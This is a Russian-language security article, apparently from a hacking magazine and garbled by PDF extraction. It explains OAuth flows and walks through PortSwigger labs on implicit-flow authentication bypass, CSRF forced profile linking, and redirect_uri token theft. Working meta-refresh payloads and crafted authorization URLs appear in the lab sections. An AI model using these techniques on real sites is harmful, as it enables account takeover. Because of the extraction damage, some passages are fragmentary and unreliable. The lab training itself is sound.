по при шед шему от при ложе ния в парамет ре  URI.redirect_uri

В слу чае с Midjourney эта ссыл ка выг лядит так:

https://midjourney.com/api/auth/callback/discord/ 
?code=<CENSORED> 
&state=dLybVCqXiFHNLYcwiOLhrVKoQHMJwRKU9W7BxoDIGNo 

Здесь  — это код авто риза ции, который сге нери ровал толь ко что OAuth-

про вай дер, этот код здесь клю чевой и будет исполь зовать ся в даль нейшем
как под твержде ние того, что поль зователь пре дос тавил дос туп к сво им дан- 
ным, а  — параметр из пре дыду щего шага, выпол няющий роль CSRF-

токена.

code

state

В момент, ког да мы нажима ем OK, в базу дан ных сер вера авто риза ции
попада ет тот самый : записы вают ся дан ные о том, что такой-то поль-

зователь дал такие-то дос тупы такому-то сер вису. Кли ент получа ет иден- 
тифика тор успешной аутен тифика ции, который ассо циирует ся с дан ными
в базе дан ных. В нашем слу чае это .

grant

code

Access token request
Итак, поль зователь сог ласил ся пре дос тавить свои дан ные, Discord выпол нил
редирект с кодом обратно на Midjourney. Теперь Midjourney, получив код авто- 
риза ции, дол жен обме нять его на OAuth-токен, что бы иметь воз можность им
вос поль зовать ся и зап росить све дения о поль зовате ле.

Та кой флоу может показать ся кому-то необыч ным: почему бы сра зу
не отдать токен? Это нуж но для того, что бы зло умыш ленник, встав ший
посере дине меж ду поль зовате лем и сер вером, не мог перех ватить OAuth-
токен.

При ложе ние Midjourney, получив  от толь ко что при шед шего поль- 
зовате ля, где-то у себя на бэкен де дела ет сле дующий зап рос на сер вер
авто риза ции (поль зователь его не уви дит):

code

POST /api/v10/oauth2/token HTTP/1.1 
Host: discord.com 
… 
client_id=12345 
&client_secret=SECRET 
&redirect_uri=https://midjourney.com/callback 
&grant_type=authorization_code 
&code=<CENSORED> 

Сно ва рас смот рим все парамет ры по поряд ку, пусть даже некото рые из них
пов торя ются:

 — уни каль ное зна чение, которое Discord заранее выдал
Midjourney, что бы тот однознач но себя иден тифици ровал и Discord
понимал, что к нему при шел имен но Midjourney;

• client_id

 — как я уже говорил, зло умыш ленник мог бы перех ватить
 поль зовате ля и от име ни Midjourney (с его ) обме нять код

на OAuth-токен, но параметр  дает некото рые гаран тии,
что он не смо жет это сде лать. При ложе ние дол жно дер жать

 в сек рете и исполь зовать толь ко при зап росах на сер вер
ресур сов, а сер вер дол жен све рять  и ;

• client_secret

code client_id

client_secret

client_secret

client_id client_secret

 — говорит сер веру ресур сов, куда он дол жен вер нуть
токен;

• redirect_uri

 — тип исполь зуемой авто риза ции, в дан ном слу чае это зна- 
комый нам , сле дующий далее;

• grant_type

authorization_code

 — код, который ранее передал поль зователь, обоз нача ет его сог- 
ласие на переда чу дан ных.

• code

При мер реали зации такого зап роса на Python:

 import requests

  API_ENDPOINT = 'https://discord.com/api/v10'
  CLIENT_ID = '332269999912132097'

  CLIENT_SECRET = '937it3ow87i4ery69876wqire'
  REDIRECT_URI = 'https://xakep.ru'

 def exchange_code(code):
   data = {
    'grant_type': 'authorization_code',
    'code': code,
    'redirect_uri': REDIRECT_URI
 }
   headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
 }
       

  
r = requests.post('%s/oauth2/token' % API_ENDPOINT, data=data,

headers=headers, auth=(CLIENT_ID, CLIENT_SECRET))
 r.raise_for_status()
  return r.json()

Access token grant
Сер вер авто риза ции валиди рует  и , что бы убе- 
дить ся, что к нему при шел нас тоящий Midjourney. И све ряет  с тем,

который он выдал поль зовате лю. Если все эти дан ные вер ны, то он выписы- 
вает  (он же OAuth-токен) и отда ет его в отве те, с которым при- 
ложе ние Midjourney уже смо жет получить нас тоящие дан ные поль зовате ля.

client_id client_secret
code

access_token

{
 "access_token": "6qrZcUqja7812RVdnEKjpzOL4CvHBFG",
 "token_type": "Bearer",
 "expires_in": 604800,
 "refresh_token": "D43f5y0ahjqew82jZ4NViEr2YafMKhue",
 "scope": "identify"

}

OAuth-токен уни каль ный, живет опре делен ное вре мя, и на каж дого поль- 
зовате ля он свой. Помимо самого токена, при ложе ние воз вра щает некото- 
рые дру гие атри буты, вро де типа токена, сро ка жиз ни и ско упа дан ных,
на которые он выда ется.

API Call è Resource Grant
Midjourney наконец получа ет этот токен и дол жен сох ранить его где-то у себя,
чаще все го хра нили щем выс тупа ет база дан ных. Теперь он может ходить
с этим токеном в API Discord и получать акту аль ные дан ные о поль зовате ле.

Вот при мер зап роса на получе ние информа ции о поль зовате ле по OAuth-
токену. Поль зователь ука зан в заголов ке Authorization:

GET /api/v10/users/@me HTTP/1.1 
Host: discord.com 
Authorization: Bearer z0y9x8w7v6u5 

На этом эта пе флоу закан чива ется. Midjourney получа ет поч ту поль зовате ля,
его имя и дру гие дан ные, ука зан ные в ско упе.

{
"username":"carlos",
"[email":"carlos@carlos-montoya.net](mailto:email%22:
%22carlos@carlos-montoya.net)",
…
}

Midjourney сох раня ет эти дан ные у себя в базе и регис три рует поль зовате ля.
Далее поль зователь перенап равля ется в лич ный кабинет, и уже там отоб- 
ража ется его юзер нейм, который был получен по токену из API Discord.

Сайт Midjourney пос ле вхо да

На пос ледок для зак репле ния зна ний оставлю еще одну схе му — на этот раз
на при мере аутен тифика ции через Google на все том же сай те Midjourney.

Authorization Code Flow, если бы мы заходи ли на сайт через Google

IMPLICIT GRANT FLOW

В зависи мос ти от цели раз работ чики могут исполь зовать раз ные флоу OAuth.
Вто рой поток называ ется Implicit Grant Flow, и он про ще по срав нению с тем,
который мы толь ко что разоб рали.

Наг лядное изоб ражение Implicit Grant Flow

Пом нишь параметр , который ука зыва ло при ложе ние?

В прош лом флоу туда под став лялся , теперь же это . Пос ле эта па
с Authorization Code Grant при ложе ние вмес то кода будет воз вра щать сра зу
токен — минуя этап с обме ном  на .

response_type
code token

code token
Да вай вкрат це прой дем ся по каж дому шагу.

 Поль зователь нажима ет «Вой ти через Midjourney», при ложе ние
фор миру ет ссыл ку и редирек тит поль зовате ля на сер вер авто риза ции.

Øàã 1.

Ссыл ка та же, что и рань ше, но, как видишь,  изме нил ся:response_type

<https://discord.com/login>
?redirect_to=/oauth2/authorize
?response_type=code
&client_id=936929561302675456
&redirect_uri=https://www.midjourney.com/__/auth/handler
&state=
AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-
zsdFLI3lv11Dlz0syNqa-
sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZ
niAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-
UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-
ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7Qg
IiRQCk

    &scope=identify email guilds.join guilds.members.read
role_connections.write
&context_uri=https://www.midjourney.com

Зна чение  рав но  — это говорит о том, что исполь зует ся

Implicit Grant.

response_type token

 Поль зователь вво дит свои дан ные и дает сог ласие на переда чу

информа ции о себе в при ложе ние, стра ница с сог ласи ем выг лядит, как и
рань ше. Для раз нооб разия прос то при ведем ту, которую показы вает
Facebook при попыт ке вхо да на AliExpress.

Øàã 2.

При мер окна сог ласия при вхо де через Facebook

 Сер вер авто риза ции фор миру ет ссыл ку, в которую зашива ет токен

OAuth, и редирек тит поль зовате ля обратно.

Øàã 3.

Ссыл ка выг лядит при мер но так:

#access_token=g0ZGZmNj4mOWIjNTk2Pw1Tk4ZTYyZGI3
&token_type=Bearer
&expires_in=600
&state=xcoVv98y2kd44vuqwye3kcq

Вмес то , который был в прош лом флоу, воз вра щает ся сра зу
.

code
access_token

 Кли ент ская часть при ложе ния извле кает токен и начина ет исполь- 

зовать его в зап росах к сер веру ресур сов.

Øàã 4.

По это му схе ма и называ ется упро щен ной, теперь токен нап рямую воз вра- 
щает ся в бра узер поль зовате ля. Implicit Grant может исполь зовать ся в SPA-
при ложе ниях (Single Page Application) и хра нить ся на сто роне поль зовате ля.
Либо в мобиль ных при ложе ниях, у которых отсутс тву ет сер верная часть.

В нас тоящее вре мя такой флоу не рекомен дует ся исполь зовать, но мы
уви дим его в лабора тори ях.

Продолжение статьи →

https://legacy.midjourney.com/
https://discord.com/developers/docs/topics/oauth2#shared-resources-oauth2-scopes


OAUTH ОТ И ДО
ИЗУЧАЕМ ПРОТОКОЛ И РАЗБИРАЕМ

БАЗОВЫЕ АТАКИ НА OAUTH

COVERSTORY  НАЧАЛО СТАТЬИ←

OAUTH È ÀÓÒÅÍÒÈÔÈÊÀÖÈß

Преж де чем мы прис тупим к решению лабора тор ных, сде лаю важ ное замеча- 
ние: изна чаль но OAuth не пред назна чал ся для аутен тифика ции. Это про токол
для авто риза ции, цель которо го — выдать дос туп к опре делен ным дан ным
вла дель ца ресур са сто рон ним при ложе ниям, а не аутен тифици ровать его.

Вер немся к при меру с машиной. Если ты взял нап рокат, то есть вос поль- 
зовал ся услу гами кар шерин га, BMW и получил от него клю чи, это не зна чит,
что машина теперь твоя. Так и в OAuth — если ты при нес токен сер вису, тот
не зна ет, как у тебя появил ся этот токен, и пре дос тавля ет лишь на пра во
на исполь зование некото рых ресур сов.

Но со вре менем мно гие начали исполь зовать этот про токол не по наз- 
начению. Есть сай ты, которые при дума ли делать на осно ве OAuth аутен- 
тифика цию, что про тиво речит изна чаль ной кон цепции и порой вле чет
за собой кри тичес кие уяз вимос ти с ком про мета цией акка унтов.

Флоу OAuth в таком слу чае оста ется при выч ным. Но здесь важ но то,
как при ложе ние исполь зует получен ные дан ные. Сей час мы най дем уяз- 
вимость в лабора тории со сле дующи ми ввод ными:

OAuth исполь зует ся для аутен тифика ции в режиме Implicit Grant;•
пос ле получе ния токена дос тупа бра узер поль зовате ля обра щает ся к сер- 
веру ресур сов и исполь зует получен ные дан ные для вхо да в сис тему;

•

веб-при ложе ние доверя ет поль зователь ско му вво ду и при нима ет токен
дос тупа в качес тве пароля.

•

Ëàáà: Authentication bypass via OAuth implicit flow
• Ла бора тор ная работа на сай те PortSwigger

Implicit ow — это тот сце нарий, ког да токен воз вра щает ся нап рямую поль- 
зовате лю. Сей час мы на прак тике уви дим, как неп равиль ная нас трой ка может
при вес ти к ком про мета ции любого акка унта на сай те.

За пус каем лабора торию и попада ем на глав ную стра ницу бло га. Так
как мы име ем дело с OAuth, нам нуж но перей ти в раз дел My account, что бы
прос ледовать пол ному флоу и иметь воз можность про ана лизи ровать его.

Глав ная стра ница бло га

На жима ем My account, и вот мы на стра нице вхо да.

Стра ница вхо да в акка унт

Вво дим выдан ные нам перед началом решения дан ные для вхо да (логин
, поль зователь ), под твержда ем выдачу дос тупа к про филю

и элек трон ной поч те.

wiener peter

Стра ница под твержде ния дос тупа

Те перь мы попали в собс твен ный лич ный кабинет, но по заданию надо
попасть в чужой.

Лич ный кабинет

Да вай вни матель но пос мотрим на зап росы и раз берем ся, как устро ен про- 
цесс вхо да.

Пер вый зап рос — на стра ницу My account. Пос коль ку мы не были аутен- 
тифици рова ны, нас перенап равило на стра ницу вхо да через соци аль ную
сеть, без воз можнос ти исполь зовать стан дар тную аутен тифика цию и авто- 
риза цию (на сай те ее прос то нет).

Ре директ на вход через соци аль ную сеть

Сле дующий зап рос — это Authorization Request. Основное при ложе ние соз- 
дало HTML-код с редирек том с помощью тега , который ведет на сер вер

авто риза ции.

meta

  <meta http-equiv=refresh content='3;url=https://
oauth-0aeb00740370fc9c81e39155023700ad.oauth-server.net/
auth?client_id=corfmvitwnpodbwncbim3&redirect_uri=https://
0afc0017030dfc668162939300c10098.web-security-academy.net/
oauth-callback&response_type=token&nonce=1924369299&
scope=openid%20profile%20email'>

Этот же редирект мож но уви деть на вклад ке Proxy History, в отве те на зап рос
./social-login

Еще один редирект, на сер вер авто риза ции

Сер вер авто риза ции редирек тит нас на стра ницу вхо да.

Authorization Request на реаль ном при мере

Вво дим логин и пароль, сле дует еще один редирект. На этот раз на Consent
Screen, где мы дол жны под твер дить свое сог ласие на выдачу дос тупа к собс- 
твен ным дан ным.

Ввод логина и пароля на сай те соци аль ной сети

Сог лаша емся прос тым POST-зап росом.

Зап рос на под твержде ние переда чи дан ных

Сер вер OAuth еще раз перенап равля ет нас — на этот раз наконец на кли ент- 
ское при ложе ние.

Ре директ обратно в кли ент ское при ложе ние

В ссыл ке воз вра та мож но най ти наш , срок его жиз ни и тип.
Учи тывая, что это упро щен ный флоу, токен воз вра щает ся в бра узер поль- 
зовате ля.

access_token

[https://0afc0017030dfc668162939300c10098.web-security-academy.net/
oauth-callback 
#access_token=0Ue2cGVe8U7e4xzKc_EFAxxipYPbDaRfP9YTXtdKxGV 
&expires_in=3600 
&token_type=Bearer 
&scope=openid profile email](https://
0afc0017030dfc668162939300c10098.web-security-academy.net/oauth-
callback#access_token=0Ue2cGVe8U7e4xzKc_EFAxxipYPbDaRfP9YTXtdKxGV&
expires_in=3600&token_type=Bearer&scope=openid%20profile%20email) 

Итак, мы вер нулись на стра ницу  основно го при ложе ния,

где его JavaScript говорит нам сде лать зап рос к при ложе нию, исполь зуя поч- 
ту, имя поль зовате ля и токен.

/oauth-callback

Скрипт, который выпол няет даль нейшую логику

Этот зап рос — зап рос на аутен тифика цию, где
в качес тве  и  исполь зуют ся получен ные дан ные из сер- 
вера ресур сов;

• email username

в качес тве пароля исполь зует ся , который мы получи ли
от сер вера авто риза ции.

• access_token

В ответ сер вер воз вра щает нам свою куку, с которой мы будем ходить по сай- 
ту.

Мы успешно вош ли на сайт, сайт вер нул куку

При этом походы из бра узе ра выг лядят сле дующим обра зом: наш бра узер →
сер вер (валида ция токена) → Resource Owner.

Ес ли токен валид ный, то сер вер счи тает, что мы успешно аутен тифици- 
рова лись с поч той, которая была ука зана в зап росе. И здесь мы натыка емся
на глав ную проб лему — сер вер доверя ет любым дан ным, которые мы ука зали
в качес тве  и , выписы вая куку на того поль зовате ля, который

при ходит в парамет ре.

email username

Что бы прой ти лабора торию, мы дол жны зай ти от име ни поль зовате ля
. Все, что для это го нуж но сде лать, — заменить

наш email адре сом того поль зовате ля, от име ни которо го мы хотим зай ти.
И отпра вить зап рос, что бы получить куку.

carlos@carlos-montoya.net

Что мы и дела ем.

Зап рос к API с чужой поч той и логином

Ес ли ты все сде лал пра виль но, сер вер дол жен выдать новую куку. Эта кука
при над лежит поль зовате лю . Сер вер при нима- 

ет от нас  и  и безого вороч но доверя ет им, в этом и зак люча- 

ется уяз вимость. Пос ле того как мы отпра вили дан ные, он прос то валиди рует
токен и, если он кор рек тный, нап равля ет в лич ный кабинет того поль зовате ля,
которо го мы ука зали в зап росе.

carlos@carlos-montoya.net
email username

Спо соб открыть ответ в бра узе ре

От кры ваем в бра узе ре стра ницу с помощью опции Request in browser →
In original session и убеж даем ся в том, что мы успешно прош ли пер вое испы- 
тание.

Уве дом ление о про хож дении лабора тории

Продолжение статьи →

https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow


OAUTH ОТ И ДО
ИЗУЧАЕМ ПРОТОКОЛ И РАЗБИРАЕМ

БАЗОВЫЕ АТАКИ НА OAUTH

COVERSTORY  НАЧАЛО СТАТЬИ←

CSRF-ÀÒÀÊÈ ÍÀ OAUTH

Экс плу ата ция CSRF

OAuth — это очень гиб кий про токол, который пре дос тавля ет мно го воз- 
можнос тей для раз работ чиков. Имен но по этой при чине в нем и воз ника ют
уяз вимос ти — раз работ чики хотят написать свой сер вис как мож но быс трее
и поль зуют ся кодом из пер вых же ссы лок в Google, порой написан ным с гру- 
бей шими ошиб ками.

В лабора тории, которую мы сей час рас смот рим, нуж но сна чала зарегис- 
три ровать ся клас сичес ким спо собом. А пос ле регис тра ции поль зователь
име ет воз можность при лин ковать в нас трой ках акка унт сво ей соци аль ной
сети, что бы вхо дить через него в тот, который был зарегис три рован на пер- 
вом эта пе.

Зву чит необыч но, но такое дей стви тель но встре чает ся (хотя и реже, чем
рань ше). Кам нем прет кно вения здесь ста новит ся параметр , который

слу жит защитой от CSRF-атак, что бы хакер не мог выпол нить дей ствие
от име ни дру гого поль зовате ля.

state

Как работа ет CSRF-токен

Ра бота ет он очень прос то:
1. Кли ент ское при ложе ние (нап ример, Midjourney) генери рует уни каль ную

стро ку  и под став ляет ее в ссыл ку, которая на эта пе Authorization
Request нап равля ет поль зовате ля на сер вер авто риза ции.

state

2. Пос ле аутен тифика ции поль зовате ля сер вер авто риза ции перенап равля ет
его обратно на ука зан ный  с тем же вклю чен ным в URL
парамет ром .

redirect_uri

state

3. Пос ле получе ния отве та кли ент ское при ложе ние срав нива ет получен ное
зна чение  с ранее сге нери рован ным и сох ранен ным зна чени ем.
Если зна чения сов пада ют, это под твержда ет, что зап рос под линный,
и мож но про дол жать аутен тифика цию.

state

Зло умыш ленник не может взять свою ссыл ку с собс твен ным  и прис лать

какому-то слу чай ному поль зовате лю, потому что она при вязы вает ся к его
куке, которая генери рует ся точ но так же на пер вом шаге. И CSRF-ата ка ста- 
новит ся невоз можной.

state

Но параметр  — необя затель ный, и мно гие раз работ чики им пре- 

неб рега ют. В этой лабора тории его не будет, и мы уви дим на реаль ном при- 
мере, как мож но заполу чить кон троль над акка унтом адми нис тра тора сай та
бла года ря воз никшей уяз вимос ти.

state

Ëàáà: Forced OAuth profile linking
• Ла бора тор ная работа на сай те PortSwigger

От кры ваем глав ную стра ницу уже зна комо го нам бло га, но с новыми пос тами.

Глав ная стра ница бло га

Пе рехо дим в My account. Теперь нам выдали сра зу две учет ные записи: пер- 
вую — клас сичес кую для вхо да через сайт, а вто рую — для вхо да через соци- 
аль ную сеть. Пос коль ку к нашему акка унту соци аль ная сеть еще не при вяза- 
на, мы вхо дим клас сичес ким спо собом.

Стра ница вхо да

Вво дим дан ные поль зовате ля  и попада ем в лич ный кабинет. Помимо

уже при выч ных полей  и , которые были в прош лых лабора- 
тори ях, мы можем заметить тут свой ключ API и воз можность при лин ковать
к текуще му акка унту соци аль ный про филь, что бы заходить через него в уже
соз данный лич ный кабинет без вво да логина и пароля.

wiener
username email

Лич ный кабинет

Да вай наж мем Attach a social prole и прос ледим за пол ным флоу, точ но так
же, как мы это уже делали рань ше. Пос коль ку это неотъ емле мая часть поис ка
уяз вимос тей.

Сна чала нас редирек тит на стра ницу вхо да с помощью соци аль ной сети.

Стра ница вхо да через соци аль ную сеть

Здесь мы вво дим пароль от вто рого выдан ного акка унта  и под- 

твержда ем выдачу дос тупа к сво ему про филю и элек трон ной поч те.

peter.wiener

Эк ран с под твержде нием дос тупа

По луча ем уве дом ление о том, что про филь при вязан.

Уве дом ление об успешной лин ковке про филя

Флоу не силь но отли чает ся от пре дыду щего, но теперь он исполь зует ся
в новом сце нарии. Наша задача, как и рань ше, сос тоит в том, что бы ском про- 
мети ровать адми нис тра тора. В этом нам поможет уяз вимость, которую мы
сей час обна ружим, а так же Exploit Server, с помощью которо го мы можем дос- 
тавить полез ную наг рузку до адми нис тра тора.

Рань ше его не было в задани ях, но в этом сце нарии тре бует ся вза имо дей- 
ствие с поль зовате лем, поэто му он прос то необ ходим. На Exploit Server мож- 
но раз местить собс твен ную полез ную наг рузку и заманить адми нис тра тора.
Все CSRF-ата ки зак люча ются в том, что бы от име ни поль зовате ля отпра вить
какой-либо зап рос, а без верс тки это не сде лать.

Экс пло ит-сер вер

Сно ва пос мотрим HTTP History в Burp Suite. Здесь нас инте ресу ет
Authorization Response — тот редирект в само при ложе ние, который про исхо- 
дит, ког да мы сог лаша емся выдать дос туп к нашим дан ным.

Зап рос на лин ковку акка унта с кодом авто риза ции

Как мож но заметить, здесь нет парамет ра, который бы защищал от CSRF-
атак. Толь ко , который явля ется фак тором сог ласия поль зовате ля. Что
будет, если по этой ссыл ке перей дет адми нис тра тор, который уже залоги нен
в собс твен ный акка унт на сай те?

code

Про изой дет неп рият ная ситу ация:
1. Ад минис тра тор перей дет по ссыл ке, которая лин кует соци аль ный акка унт

хакера к акка унту того, кто перешел, то есть самого адми на.
2. Ха кер смо жет зай ти через собс твен ный акка унт соци аль ной сети

и попасть не в свой акка унт, а в акка унт того, кого он ата ковал, в дан ном
слу чае это адми нис тра тор.

Для реали зации этой ата ки нам нуж но написать нем ного HTML, который
будет выпол нять этот редирект. Если у тебя есть Pro-вер сия Burp Suite, то он
уме ет авто мати чес ки генери ровать фор му для CSRF-ата ки: кли кай пра вой
кноп кой мыши на зап росе → Engagement Tools → Generate CSRF PoC. Но мы
сде лаем это вруч ную, здесь это будет очень прос то.

Пи шем HTML, который выпол нит редирект с нашим . Здесь мы

исполь зуем тег  с атри бутом , что бы нап равить поль зовате ля
по ука зан ному в  урлу.  — это задер жка перед редирек том, то есть

нам нуж но сде лать его сра зу, как поль зователь попада ет на стра ницу.

code
meta http-equiv
content 0

  
 

<meta http-equiv="refresh" content="0; url=https://<поддомен 
лаборатории>.web-security-academy.net/oauth-linking?code=<code>" />

Ко пиру ем раз метку выше и встав ляем в него ссыл ку с лин ковкой. Кли кай пра- 
вой кноп кой мыши на зап росе и выбирай Copy URL.

Как быс тро ско пиро вать URL из Burp

Код получил ся такой:

  

 

<meta http-equiv="refresh" content="0; url=https://
0aa000b304cfe7de81ffa71800960086.web-security-academy.net/
oauth-linking?code=UV_ah4kbQkY7GdedaCFP6pwFxcM_z9CW9Hv0ePlfSNM" />

Пе рехо дим в Exploit Server и встав ляем этот код в поле Body. Это будет
содер жимым стра ницы по адре су ./exploit

Экс пло ит-сер вер с нашей полез ной наг рузкой

Мож но про верить, пра виль но ли все отра бота ет: жми Store, что бы сох ранить,
а потом зай ди на саму стра ницу. А если ты уве рен, что с пер вой попыт ки все
сде лал пра виль но, можешь сра зу поз вать адми нис тра тора. Для это го
нажима ем на Deliver exploit to victim.

Да лее мы перехо дим в Access log, что бы пос мотреть логи Nginx, который
показы вает все посеще ния стра ниц. Серым я замазал собс твен ный IP, но,
кро ме него, мож но заметить и дру гой — это IP адми нис тра тора. Если он
заходил на стра ницу, зна чит, бот сра ботал.

Ло ги Nginx, где вид но адми нис тра тора

Те перь воз вра щаем ся в блог и логиним ся через соци аль ную сеть.

Стра ница вхо да

Ес ли ата ка уда лась, ты теперь ока жешь ся не в сво ем кабине те, а в кабине те
адми нис тра тора.

Лич ный кабинет адми нис тра тора

За ходим в админку и уда ляем Кар лоса (это нуж но сде лать по усло вию
задачи).

Ад минка, отку да мож но уда лять поль зовате лей

И получа ем уве дом ление об успешном про хож дении.

Уве дом ление об успешном про хож дении лабора тории

ÂÛÂÎÄÛ

В этой статье мы поз накоми лись с тех нологи ей OAuth, нем ного пог рузились
в исто рию и узна ли, как появил ся этот про токол авто риза ции, разоб рали,
как он работа ет, на при мере Midjourney, поз накоми лись с Authorization Code
Flow и его упро щен ным вари антом Implicit Grant Flow и решили две лабора- 
тор ные работы с базовы ми ата ками на про токол, которые доволь но прос то
реали зовать.

В сле дующих стать ях мы узна ем о еще нес коль ких тех нологи ях,
без которых не обхо дит ся сов ремен ный веб, а так же научим ся ком биниро- 
вать раз ные уяз вимос ти в цепоч ки, что бы осу щест влять ата ки на более слож- 
ные и защищен ные сай ты.

https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking


Максим Рогов
Независимый исследователь

безопасности

COVERSTORY

Се год ня раз берем мис конфи ги OAuth,
которые встре чают ся в дикой при роде и,
хоть сами по себе безобид ны, в опре- 
делен ных усло виях могут иметь серь езные
пос ледс твия — вплоть до похека админ ских
акка унтов. В этой статье я покажу,
как искать такие цепоч ки уяз вимос тей.

Ты, нап ример, мог слы шать про Open Redirect, который час то не вос при нима- 
ют всерь ез и за обна руже ние которо го не пла тят Bug Bounty. Но если ты смо- 
жешь най ти спо соб кра сиво заюзать его и повысить импакт до кра жи акка- 
унта, это уже сов сем дру гое дело.

INFO

О том, как устро ен про токол OAuth и как экс плу- 
ати руют базовые уяз вимос ти в нем, читай в моей
пре дыду щей статье — «

».
OAuth от и до. Изу чаем

про токол и раз бира ем базовые ата ки на OAuth

×ÒÎ ÁÓÄÅÒ, ÅÑËÈ ÍÅ ÏÐÎÂÅÐßÒÜ REDIRECT_URI

Схе матич ное изоб ражение ата ки с под меной redirect_uri

Пер вый кейс прос той.  — это тот параметр, который говорит

сер веру авто риза ции, на какой URL ему нуж но нап равить токен пос ле того,
как поль зователь вой дет через соци аль ную сеть и сог ласит ся дать дос туп
к сво им ресур сам.

redirect_uri

При ложе ние на пер вом эта пе авто риза ции по OAuth, или, в тер миноло гии
спе ки, эта пе Authorization Request, фор миру ет ссыл ку и ука зыва ет в качес тве
это го парамет ра под кон троль ный ему эндпо инт.

Ког да ты вхо дишь через Discord на сайт Midjourney, ссыл ка выг лядит при- 
мер но так:

<https://discord.com/login>
?redirect_to=https://midjourney.com/oauth2/authorize
?response_type=code
&client_id=936929561302675456
&redirect_uri=https://www.midjourney.com/__/auth/handler
&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-
zsdFLI3lv11Dlz0syNqa-
sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZ
niAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo
-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-
ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7Qg
IiRQCk

    &scope=identify email guilds.join guilds.members.read
role_connections.write
&context_uri=https://www.midjourney.com

В этом зап росе говорит ся о том, что в кон це флоу сер вер авто риза ции
не толь ко выда ет код, но и дол жен вер нуть поль зовате ля на сайт при ложе ния

.midjourney.com/oauth2/authorize
По-хороше му в парамет ре  дол жен быть вай тлист ссы лок,

на которые мож но редирек тить. Такие ссыл ки обыч но ука зыва ет вла делец
при ложе ния, ког да его регис три рует. Это поз воля ет обру бать зап рос, если
кто-то под ста вит свой .

redirect_uri

redirect_uri
Ес ли вай тлис та нет, это соз дает прос транс тво для манипу ляций. Зло- 

умыш ленник может взять ссыл ку из пер вого эта па и заменить в ней
 под кон троль ным ему сер висом, выложить ее где-нибудь

в соци аль ных сетях и украсть токен пос ле того, как кто-нибудь уже авто ризо- 
ван ный в Discord и в Midjourney перей дет по ней (то же спра вед ливо и для
дру гих пар при ложе ний и OAuth-про вай деров).

redirect_uri

Сей час мы раз берем это под робнее на реаль ном при мере.

Ëàáà: OAuth account hijacking via redirect_uri
• Ла бора тор ная работа на сай те PortSwigger

Стар туем и ока зыва емся на глав ной стра нице со стран ной кар тинкой.

Глав ная стра ница бло га

Как и рань ше, про ходим весь флоу с логином, что бы соб рать все зап росы
и спо кой но про ана лизи ровать их. Заходим под акка унтом .wiener

Уве дом ление об успешном логине

И ока зыва емся в лич ном кабине те.

Лич ный кабинет

Флоу авто риза ции прой ден, перехо дим в Burp. Находим Authorization Request
(тот зап рос на сер вер авто риза ции, на который нас перенап равило при ложе- 
ние) и отправ ляем его в Repeater.

Имен но в этой ссыл ке есть уяз вимый , который мы и будем

экс плу ати ровать.

redirect_uri

Зап рос на авто риза цию

Уяз вимость зак люча ется в том, что в при ложе нии сер вера авто риза ции дол- 
жным обра зом (вооб ще никак) не про веря ется . А это зна чит,

что, под менив его, мы можем нап равить поль зовате ля на собс твен ную стра- 
ницу, что бы залоги ровать чужой токен.

redirect_uri

Пос мотрим, как это про исхо дит на прак тике. Меня ем в нашем зап росе тот
URI, который был ука зан, на адрес экс пло ит-сер вера. Он выда ется в лабора- 
тори ях вро де этой, и его мож но най ти в вер хнем меню.

Кноп ка с перехо дом к экс пло ит-сер веру

Пе рехо ди туда, копируй ссыл ку и встав ляй ее в качес тве парамет ра
.redirect_uri

Ссыл ка на экс пло ит-сер вер

У меня это выг лядит так.

Под мена redirect_uri адре сом экс пло ит-сер вера

Мож но нажать пра вой кноп кой мыши и выб рать Copy URL, что бы ско пиро вать
всю ссыл ку и пос мотреть в бра узе ре, как про изой дет редирект и в логах
появит ся наш токен.

Ниг де ничего вво дить уже не надо (так как мы уже вош ли на всех сай тах
и дали сог ласие), прос то ты про шел цепоч ку редирек тов, и вот уже токен
залоги рован на нашем экс пло ит-сер вере или сер вере зло умыш ленни ка.

OAuth-токен в access-логах

Это наш собс твен ный токен, а нам нужен токен адми нис тра тора. Так что воз- 
вра щаем ся на глав ную стра ницу экс пло ит-сер вера и берем ту же самую раз- 
метку с редирек том, которую мы уже исполь зовали в лабора тори ях из прош- 
лой статьи. Толь ко на этот раз меня ем URL на тот, который мы толь ко что
скраф тили, где  ведет на наш сер вер.redirect_uri

У меня получи лось так.

  

 

<meta http-equiv="refresh" content="0; url=https://
oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/
auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://
exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/
oauth-callback&response_type=code&scope=openid%20profile%20email" />

Встав ляем HTML-раз метку в поле Body и сох раня ем кноп кой Store.

HTML-раз метка для экс пло ита

Те перь у нас есть стра ница, на которую может зай ти адми нис тра тор, и тог да
мы укра дем его учет ку. При посеще нии стра ницы про изой дет цепоч ка
редирек тов для авто риза ции. Пос коль ку он уже залоги нен в соци аль ной сети,
в кон це кон цов он будет перенап равлен на наш сер вер, где мы и залоги руем
его OAuth-токен из URL.

На жима ем Deliver exploit to victim. В зависи мос ти от наг рузки на сер веры
PortSwigger зап рос может прий ти с неболь шой задер жкой. Мне приш лось
подож дать нес коль ко минут (в течение которых я жал одну и ту же кноп ку), и в
кон це кон цов мне при лете ло нес коль ко десят ков зап росов с токеном адми- 
нис тра тора.

Мно го залоги рован ных токенов адми на

Ко пиру ем пос ледний при шед ший токен и встав ляем в зап рос 
